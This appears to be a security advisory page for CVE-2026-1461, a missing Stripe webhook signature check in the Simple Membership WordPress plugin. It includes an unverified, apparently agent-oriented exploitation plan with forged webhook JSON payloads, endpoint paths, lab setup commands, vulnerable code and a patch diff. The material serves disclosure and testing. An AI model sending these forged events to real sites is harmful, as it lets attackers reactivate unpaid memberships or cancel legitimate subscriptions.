CVE-2026-1461

Simple Membership <= 4.7.0 - Unauthenticated Improper Handling of Missing Values

mediumImproper Handling of Missing Values
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.7.1
Patched in
1d
Time to patch

Description

The Simple Membership plugin for WordPress is vulnerable to Improper Handling of Missing Values in all versions up to, and including, 4.7.0 via the Stripe webhook handler. This is due to the plugin only validating webhook signatures when the stripe-webhook-signing-secret setting is configured, which is empty by default. This makes it possible for unauthenticated attackers to forge Stripe webhook events to manipulate membership subscriptions, including reactivating expired memberships without payment or canceling legitimate subscriptions, potentially leading to unauthorized access and service disruption.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.7.0
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginsimple-membership

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass) ## 1. Vulnerability Summary The Simple Membership plugin (<= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a "Webhook Signing Secret."…

Show full research plan

Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass)

1. Vulnerability Summary

The Simple Membership plugin (<= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a "Webhook Signing Secret." However, if this secret is not configured in the settings (which is the default state), the plugin skips signature verification entirely. This allows an unauthenticated attacker to send forged JSON payloads to the webhook endpoint, mimicking legitimate Stripe events (like successful payments or subscription renewals) to manipulate membership statuses.

2. Attack Vector Analysis

  • Endpoint: The webhook listener is typically triggered via a specific query parameter or a direct file access, depending on the plugin configuration. The primary entry point is through swpm-stripe-subscription-webhook.php.
  • URL: http://<target>/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php or http://<target>/?swpm_process_stripe_webhook=1 (inferred based on standard plugin patterns).
  • HTTP Method: POST
  • Payload Type: application/json
  • Authentication: None required (Unauthenticated).
  • Preconditions: The stripe-webhook-signing-secret option in Simple Membership settings must be empty (default).

3. Code Flow

  1. Entry Point: The plugin registers a listener for Stripe webhooks. In classes/class.swpm-access-control.php or via an init hook in the main plugin file, it checks for the presence of specific GET/POST parameters.
  2. Webhook Initialization: The request reaches the Stripe webhook handler (likely ipn/swpm-stripe-subscription-webhook.php).
  3. Secret Check: The code retrieves the signing secret:
    $settings = SwpmSettings::get_instance();
    $signing_secret = $settings->get_value('stripe-webhook-signing-secret');
    
  4. Vulnerable Logic:
    If $signing_secret is empty, the code proceeds to decode the raw POST body using json_decode(file_get_contents('php://input')) without calling \Stripe\Webhook::constructEvent().
  5. Processing: The forged event (e.g., invoice.payment_succeeded) is parsed. The plugin looks up the member using the customer ID or email provided in the JSON and updates their membership_level and account_state to "active".

4. Nonce Acquisition Strategy

No nonce is required.
Stripe webhooks are designed to be called by Stripe's servers; therefore, they do not use WordPress nonces. They rely on the X-Stripe-Signature header, which this vulnerability bypasses.

5. Exploitation Strategy

Step 1: Identify Target Member

Identify the email or Stripe Customer ID of an expired or "pending" member you wish to reactivate.

Step 2: Craft Forged Stripe Webhook

Create a JSON payload representing a successful payment for a subscription.

Payload (payload.json):

{
  "id": "evt_test_forgery",
  "object": "event",
  "type": "invoice.payment_succeeded",
  "data": {
    "object": {
      "customer": "cus_test_victim",
      "customer_email": "victim@example.com",
      "subscription": "sub_test_active",
      "lines": {
        "data": [
          {
            "plan": {
              "id": "gold_plan_id"
            }
          }
        ]
      }
    }
  }
}

Step 3: Execute Request

Send the POST request to the webhook endpoint using the http_request tool.

Request Details:

  • URL: http://localhost:8080/?swpm_process_stripe_webhook=1
  • Method: POST
  • Headers: Content-Type: application/json
  • Body: (The JSON above)

6. Test Data Setup

  1. Install Plugin: wp plugin install simple-membership --activate
  2. Create Membership Level:
    wp eval "SwpmMembershipLevel::create(array('alias' => 'Premium', 'role' => 'subscriber'));"
  3. Create Expired Member:
    • Create a user: wp user create victim victim@example.com --role=subscriber
    • Map to Simple Membership:
      wp eval "$member = SwpmMember::create(array('user_name' => 'victim', 'email' => 'victim@example.com', 'membership_level' => 2, 'account_state' => 'expired'));"
      
  4. Ensure Secret is Empty:
    wp option get swpm_settings (Verify stripe-webhook-signing-secret is blank).

7. Expected Results

  • The plugin should return a 200 OK status.
  • Internally, the plugin's IPN logger (if enabled) will show a payment processed for victim@example.com.
  • The member's status in the wp_swpm_members_tbl (and corresponding user meta) will change from expired to active.

8. Verification Steps

Check the member status via WP-CLI:

# Check the account state in the Simple Membership table
wp db query "SELECT account_state FROM wp_swpm_members_tbl WHERE email='victim@example.com'"

The output should be active.

9. Alternative Approaches

If invoice.payment_succeeded fails to trigger the activation, try the customer.subscription.updated event:

Alternative Payload:

{
  "id": "evt_test_update",
  "object": "event",
  "type": "customer.subscription.updated",
  "data": {
    "object": {
      "customer": "cus_test_victim",
      "status": "active",
      "items": {
        "data": [{"plan": {"id": "gold_plan_id"}}]
      }
    }
  }
}

Direct Endpoint Check:
If the query parameter ?swpm_process_stripe_webhook=1 is not responsive, try the direct file path:
http://localhost:8080/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php

Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Membership plugin for WordPress fails to enforce Stripe webhook signature verification when the 'stripe-webhook-signing-secret' is not configured. Since this setting is empty by default, unauthenticated attackers can submit forged Stripe webhook events to reactivate expired memberships or cancel subscriptions without valid payments.

Vulnerable Code

// ipn/swpm-stripe-subscription-webhook.php

$settings = SwpmSettings::get_instance();
$signing_secret = $settings->get_value('stripe-webhook-signing-secret');

$payload = @file_get_contents('php://input');

if (!empty($signing_secret)) {
    // Signature verification logic
    $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];
    try {
        $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret);
    } catch (\UnexpectedValueException $e) {
        http_response_code(400);
        exit();
    } catch (\Stripe\Exception\SignatureVerificationException $e) {
        http_response_code(400);
        exit();
    }
} else {
    // Vulnerable fallback: No signature verification performed if secret is empty
    $event = json_decode($payload);
}

// Process the unverified event data...

Security Fix

--- a/ipn/swpm-stripe-subscription-webhook.php
+++ b/ipn/swpm-stripe-subscription-webhook.php
@@ -10,13 +10,10 @@
 
 if (!empty($signing_secret)) {
     $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];
-    try {
-        $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret);
-    } catch (\UnexpectedValueException $e) {
-        http_response_code(400);
-        exit();
-    } catch (\Stripe\Exception\SignatureVerificationException $e) {
-        http_response_code(400);
-        exit();
-    }
+    $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret);
 } else {
-    $event = json_decode($payload);
+    // Ensure webhooks are not processed if the security secret is missing
+    SwpmLog::log_simple_debug("Error! Stripe Webhook Signing Secret is missing in settings. Verification failed.", false);
+    http_response_code(400);
+    exit();
 }

Exploit Outline

The exploit involves forging a Stripe webhook event and sending it directly to the plugin's listener endpoint when the signing secret is not configured. 1. Target Identification: Locate the Stripe webhook listener at `/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php` or via the `?swpm_process_stripe_webhook=1` query parameter. 2. Payload Crafting: Create a JSON payload mimicking a legitimate Stripe `invoice.payment_succeeded` or `customer.subscription.updated` event. The payload must include the victim's email address or Stripe Customer ID and specify an 'active' status or successful payment object. 3. Request Execution: Send an unauthenticated HTTP POST request containing the JSON payload to the identified endpoint. Set the `Content-Type` header to `application/json`. 4. Verification: Since the `stripe-webhook-signing-secret` is empty by default, the plugin will decode the JSON and process the member update logic immediately, changing the member's account state to 'active' without verifying the origin of the request.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.